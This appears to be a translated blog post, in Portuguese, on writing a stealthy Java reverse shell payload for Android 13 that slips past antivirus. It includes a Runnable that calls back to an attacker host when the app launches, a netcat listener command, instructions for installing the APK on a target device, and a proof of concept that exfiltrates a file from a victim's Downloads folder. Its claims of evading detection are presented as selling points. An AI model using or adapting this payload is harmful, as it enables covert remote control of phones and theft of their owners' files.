Um Payload Java Reverse Shell Stealthy para Android 13 e abaixo sem usar Msfvenom
Isenção de responsabilidade: esta postagem é apenas para fins informativos e educacionais e para aqueles que desejam e estão curiosos para conhecer e aprender sobre o Android e a segurança móvel. NÃO tente violar a lei com qualquer coisa contida aqui, pois você é o único responsável por suas próprias ações.
Eu sou Rui Heng , um amante de segurança ofensiva e pesquisador de segurança. Em minha primeira postagem, demonstrarei uma maneira simples de escrever seu próprio payload de shell reverso furtivo trabalhando no Android 13.0 Tiramisu mais recente , seguido por um cenário simples de prova de conceito. Decidi escrever este post devido à falta de artigos sobre payloads funcionando sem o Msfvenom.
A carga é testada do Android 4.4 a 13.0 API 33 em um Pixel 6 Pro.
Desde 17 de janeiro de 2023, é indetectável por todos os fornecedores de segurança VirusTotal.
Todos nós sabemos que o Msfvenom tem um módulo para incorporar uma carga de shell reversa em um APK já compilado. No entanto, você pode facilmente escrever seu próprio payload furtivo diretamente com um IDE como o Android Studio com apenas algumas linhas de código antes de compilar o APK, que será abordado neste post.
Fique comigo até o final para uma simples prova de conceito!
Agora para o material técnico!
ETAPA 1: Criando a classe de carga útil Java (Payload.java)
Para esta carga útil, criamos uma nova classe Java usando as bibliotecas java.ioe . java.net.SocketO código abaixo é o que precisamos para criar o socket e manipular a entrada e saída do shell reverso.
ETAPA 2: Crie um thread executável para iniciar o shell ao iniciar o aplicativo
Em primeiro lugar, adicione a linha new Thread(runnable).start();à função onCreate em MainActivity.java .
Em seguida, adicione o código abaixo na classe MainActivity que cria um objeto executável e chama a função reverse_tcp declarada em Payload.java para iniciar o retorno de chamada do shell reverso. (Substitua a parte inferior pelo endereço IP do ouvinte LHOST e número da porta)
Runnable runnable = new Runnable() {
@Override
public void run() {
new Payload().reverse_tcp("<IP Address Here>", <Port Number>);
}
};
No entanto, observe que habilitar permissões adicionais, como android.permission.WRITE_EXTERNAL_STORAGEdesbloquear mais possibilidades. Não iremos mais longe e isso depende de sua própria exploração.
ETAPA 4: Iniciando um Ouvinte e capturando o Shell Reverso
Compile o APK e instale-o no dispositivo de destino. Em sua máquina Kali ou atacante, inicie um ouvinte Netcat com (mude 444 para a porta que você definiu). Então, ao abrir o aplicativo, você receberá um shell reverso! Há muitas coisas que podemos fazer com ele, como executar comandos adb e Linux. nc -nvlp 444
Observação: se o dispositivo de destino já estiver enraizado, você obterá acesso de superusuário com controle TOTAL . Este é o risco adicional quando você faz root no seu telefone.
Tempo de prova de conceito (POC) - um exemplo simples
No meu teste, tenho um servidor de nuvem Kali hospedado na Internet e ele detectou um shell reverso na minha vítima do Pixel 6 Pro depois que o aplicativo foi instalado e iniciado. Em seguida, usaremos o Netcat para exfiltrar um arquivo secret.txt da pasta Downloads da vítima, conforme mostrado abaixo:
Empacotando!
É realmente simples escrever sua própria carga de shell reversa funcionando mesmo na API Android 33 e Build 13.0 mais recentes. Fiquei surpreso ao testar isso sozinho. Existem muitos POCs e ideias diferentes que você pode fazer com um shell como esse, mesmo quando não é privilegiado. Curiosamente, descobri que os dispositivos Android mais recentes já têm o Netcat instalado , o que o torna uma maneira extremamente poderosa de iniciar conexões de rede e transferências de arquivos.
Este post foi parte da minha descoberta ao realizar minha pesquisa e experimentar shells reversos do Android.
Se você chegou até aqui, obrigado por ler!





































![O que é uma lista vinculada, afinal? [Parte 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)